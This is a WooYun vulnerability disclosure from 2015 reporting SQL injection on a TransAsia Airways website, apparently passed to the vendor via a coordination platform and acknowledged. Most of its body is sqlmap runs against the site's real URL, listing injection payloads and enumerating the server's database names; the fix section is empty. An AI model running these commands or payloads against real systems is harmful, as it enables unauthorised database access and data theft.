当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096560

漏洞标题:台湾复兴航空某站SQL注入(可跨库)

相关厂商:台湾复兴航空

漏洞作者: 路人甲

提交时间:2015-02-12 11:29

修复时间:2015-03-29 11:30

公开时间:2015-03-29 11:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-12: 细节已通知厂商并且等待厂商处理中
2015-02-16: 厂商已经确认,细节仅向厂商公开
2015-02-26: 细节向核心白帽子及相关领域专家公开
2015-03-08: 细节向普通白帽子公开
2015-03-18: 细节向实习白帽子公开
2015-03-29: 细节向公众公开

简要描述:

RT 飞机飞机。。。

详细说明:

QQ截图20150210024329.png


QQ截图20150210024341.png

漏洞证明:

QQ截图20150210024351.png


[root@Hacker~]# Sqlmap Sqlmap -u "http://sc.tna.com.tw/about/8_5_3.aspx?id=234" --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local
[*] starting at 02:40:12
[02:40:12] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:40:12] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=234 AND 3908=3908
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=234 AND 8668=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (8668=8668) THEN CHAR(49) ELSE CHAR(48) END))+CH
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=234 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+CHAR(98)+CHAR(121)+CHAR(73)+CHAR(84)+CHAR(98)+CHAR(101)+CHAR(82)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=234; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: id=-5522 OR 6388=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (1988=1988) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(10
---
[02:40:14] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[02:40:14] [INFO] fetching current database
current database: 'TransAsia'
[02:40:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[02:40:14] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will re
[02:40:14] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\sc.tna.com.tw'
[*] shutting down at 02:40:14
[root@Hacker~]# Sqlmap Sqlmap -u "http://sc.tna.com.tw/about/8_5_3.aspx?id=234" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local
[*] starting at 02:40:36
[02:40:36] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:40:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=234 AND 3908=3908
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=234 AND 8668=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (8668=8668) THEN CHAR(49) ELSE CHAR(48) END))+CH
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=234 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+CHAR(98)+CHAR(121)+CHAR(73)+CHAR(84)+CHAR(98)+CHAR(101)+CHAR(82)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=234; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: id=-5522 OR 6388=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(115)+CHAR(98)+CHAR(108)+CHAR(113)+(SELECT (CASE WHEN (1988=1988) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(10
---
[02:40:38] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[02:40:38] [INFO] fetching database names
[02:40:38] [INFO] the SQL query used returns 10 entries
[02:40:39] [INFO] retrieved: "ChkFiles"
[02:40:40] [INFO] retrieved: "master"
[02:40:40] [INFO] retrieved: "model"
[02:40:41] [INFO] retrieved: "msdb"
[02:40:41] [INFO] retrieved: "newtransasia_kr"
[02:40:42] [INFO] retrieved: "newtransasia_kr"
[02:40:42] [INFO] retrieved: "tempdb"
[02:40:43] [INFO] retrieved: "TransAsia_en"
[02:40:44] [INFO] retrieved: "TransAsia_en"
[02:40:44] [INFO] retrieved: "TransAsia_jp"
available databases [8]:
[*] ChkFiles
[*] master
[*] model
[*] msdb
[*] newtransasia_kr
[*] tempdb
[*] TransAsia_en
[*] TransAsia_jp
[02:40:44] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 11 times
[02:40:44] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will re
[02:40:44] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\sc.tna.com.tw'

修复方案:

null 支持一下,求rank!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-16 20:12

厂商回复:

謝謝通報

最新状态:

暂无